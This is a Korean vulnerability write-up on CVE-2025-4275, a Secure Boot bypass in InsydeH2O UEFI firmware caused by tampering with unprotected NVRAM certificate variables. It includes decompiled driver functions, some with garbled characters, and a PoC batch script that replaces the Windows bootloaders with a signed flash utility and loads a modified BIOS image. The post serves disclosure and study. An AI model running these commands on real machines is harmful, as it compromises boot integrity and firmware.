[하루한줄] CVE-2025-4275: InsydeH2O의 NVRAM 변수를 통한 디지털 인증서 삽입으로 인한 Secure Boot bypass
URL
Target
- InsydeH2O **Kernel 5.2~5.7
Explain
InsydeH2O UEFI 펌웨어 애플리케이션에서 Secure Boot bypass 취약점이 발생하였습니다. 이 취약점은 인증서 저장소로 사용되는 NVRAM 변수의 안전하지 않은 사용으로 인해 발생합니다.
UEFI는 초기 부팅 시, 최신 펌웨어 업데이트 여부를 결정하고, UEFI 애플리케이션과 드라이버가 시스템을 초기화하고 OS 로더로 넘어가는 과정을 거칩니다. 펌웨어 업데이트는 isflash.bin
UEFI 애플리케이션이 사용되며, 애플리케이션의 서명은 Insyde 인증서로 서명되는 Secure Boot 매커니즘을 가지고 있습니다.
서명 검증 과정은 BdsDxe
드라이버는 펌웨어 외부에서 실행되어 펌웨어 업데이터의 서명 인증서를 읽고, SecurityStubDxe
드라이버에 전달하여 Authenticode 서명 검증을 수행합니다. 이 전달 과정에서 SecureFlashDxe
드라이버를 통해 인증서를 휘발성 NVRAM 변수에 로드 하도록 변수를 설정합니다.
_int64 LoadCertificateToVariable()
{
UINTN v0; // rbx
int64 v1; // rbx
EFI_FIRMWARE_VOLUME2_PROTOCOL *Interface; // [rsp+40h] [rbp-28h] BYREF
UINTN DataSize; // [rsp+48h] [rbp-20h] BYREF
EFI_HANDLE *Buffer; // [rsp+50h] [rbp-18h] BYREF
char v6; // [rsp+80h] [rbp+18h] BYREF
UINT32 v7; // [rsp+88h] [rbp+20h] BYREF
UINTN NoHandles; // [rsp+90h] [rbp+28h] BYREF
void *Data; // [rsp+98h] [rbp+30h] BYREF
Interface = 0;
v7 = 0;
if ((gBS->LocateHandleBuffer(ByProtocol, &EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID, 0, &NoHandles, &Buffer) & 0x8000000000000000uLL) == 0LL&& NoHandles )
{
v0 = 0;
while ((gBS->HandleProtocol(Buffer [v0], &EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID, (void **)&Interface) & 0x8000000000000000uLL) == 0LL)
{
Data = 0;
DataSize = 0;
if ((Interface->ReadSection (Interface, &SECURE_FLASH_FV_CERT_GUID, 0x19u, 0, &Data, &DataSize, &v7) & 0x8000000000000000uLL) != ØLL && ++v0 < NoHandles )
{
continue;
if (v0 >= NoHandles )
return EFI_NOT_FOUND;
v1 = gRT->SetVariable((CHAR16 *)L"SecureFlashCertData", &SECURE_FLASH_INFO_GUID,VARIABLE_ATTRIBUTE_BS_RT,DataSize,Data);
gBS->FreePool(Data);
if (v1 >= 0)
{
v6 = 0;
return gRT->SetVariable((CHAR16 *) L"SecureFlashSetupMode", &SECURE_FLASH_INFO_GUID, 6u, 1u, &v6);
}
return v1;
}
}
return EFI_NOT_FOUND;
}
BdsDxe
드라이버에서는 NVRAM 변수인 SecureFlashSetupMode
와 EFI_SIGNATURE_LIST 형식의 인증서가 포함된 SecureFlashCertData
의 두 개의 변수를 설정합니다.
char_fastcall VerifyBySecureFlashSignature( _int64 a1, _int64 a2)
{
char v5; // si
_int64 Variable; // rax
char *v7; // rbx
_int64 v8; // rdi
UINTN v9; // г8
void *v10; // rcx
UINT8 Sha256Hash; // rdx
void *CryptoServices Protocol; // [rsp+30h] [rbp-10h] BYREF
unsigned_int64 v13; // [rsp+38h] [rbp-8h] BYREF
void *v14; // [rsp+80h] [rbp+40h] BYREF
void *Buffer; // [rsp+88h] [rbp+48h] BYREF
if ((gBS->LocateProtocol(&CRYPTO_SERVICES_PROTOCOL_GUID, 0, &CryptoServices Protocol) & 0x8000000000000000uLL) != ØLL)
return 0;
Buffer = 0;
v14 = 0;
v5 = 0;
LibGetVariable(aSecureFlashSetupMode, &SECURE_FLASH_INFO_GUID, &v13, &v14);
if (v14)
{
Variable LibGetVariable(aSecureFlashCertData, &SECURE_FLASH_INFO_GUID, &v13, &Buffer);
v7= (char *)Buffer;
if (Variable >= 0)
{
v8 = 0;
if (v13 > 0x10)
{
v9 HashSize;
v10: Buffer;
do
{
if (*(_DWORD *)&v7 [v8 + 16] < 0x1Cu)
break;
v5 = (((_int64 (_fastcall **) (_int64, _int64, char *, _int64, _QWORD, UINTN)) CryptoServicesProtocol + 0x22)) (al,a2,&v7 [v8 + 44], *(unsigned int *) &v7 [v8 + 24] 16LL,*(_QWORD *)v10, ); // AuthenticodeVerify
if (v5)
break;
v10 = Buffer;
v9 = HashSize;
Sha256Hash = (UINT8 *):: Buffer [1].Sha256Hash;
if (HashSize && (UINT8 *):: Buffer->Sha256Hash != Sha256Hash )
{
if (sub_350((UINT8 *):: Buffer->Sha256Hash, Sha256Hash, HashSize))
{
v5 = (*((_int64 (_fastcall **) (_int64, _int64, char *, _int64, EFI_HASH_OUTPUT, UINTN)) CryptoServicesProtocol+ 0x22)) ( al, a2, &v7 [v8 + 44], *(unsigned int *)&v7 [v8 + 24] 16LL, :: Buffer [1], HashSize); // AuthenticodeVerify
if (v5)
break;
}
v9 = HashSize;
v10 = Buffer;
}
v8 += (unsigned int *)&v7 [v8 +16];
}
while (v8+ 28 < v13);
}
}
if (v7)
gBS->FreePool(v7);
gBS->FreePool(v14);
}
return v5;
}
SecurityStubDxe
드라이버는 SecureFlashSetupMode
와 SecureFlashCertData
두 변수 값이 모두 존재하는 경우, 라이브러리 함수를 통해 읽습니다.
여기서 SecureFlashSetupMode
와 SecureFlashCertData
이 두 NVRAM 변수는 보호되지 않기에 런타임 중에 변조할 수 있습니다. 변조한 두 변수를 SecurityStubDxe
드라이버에 전달하면, BdsDxe
드라이버가 생성한 것으로 속일 수 있습니다. 이후에 오는 모든 항목은 추가적인 검증 없이 모두 신뢰하기 때문에, isflash.bin
의 Secure Boot 과정 및 Insyde 서명 확인을 모두 우회할 수 있습니다.
PoC의 일부인 sfpoc.cmd
는 아래와 같습니다.
sfcd set
mountvol U: /s
mkdir U:\\EFI\\Insyde
copy isflash.bin U:\\EFI\\Insyde\\
move U:\\EFI\Boot\\bootx64.efi U:\\EFI\\Boot\\bootx64.efi.org
move U:\\EFI\Microsoft\\Boot\\bootmgfw.efi U:\\EFI\Microsoft\\Boot\\bootmgfw.efi.org
copy isflash.bin U:\\EFI\Boot\\bootx64.efi
copy isflash.bin U:\\EFI\Microsoft\\Boot\\bootmgfw.efi
copy bios.bin U:\\
copy fpt_signed.efi U:\\
copy sfpoc_signed.efi U:\\
copy startup_2.nsh U:\\
copy startup_1.nsh U:\\startup.nsh
dir U:
pause
mountvol U: /d
shutdown /r /t 0
변조한 각 .efi
파일들을 모두 빌드하고 서명한 이후에 Windows에서 관리자 권한으로 위 sfpoc.cmd
를 실행하면, 재부팅 이후에 수정된 BIOS 이미지를 확인할 수 있습니다.
이처럼 공격자는 이 변수를 통해 자신의 인증서를 저장한 후, UEFI 환경의 초기 부팅 과정에서 삽입된 인증서로 서명된 임의의 .efi
펌웨어를 실행할 수 있습니다.
아래 영상으로 PoC 시연을 확인할 수 있습니다.
이 취약점은 Insyde에 보고되었으며, 공개 후 90일 만에 패치 되었습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.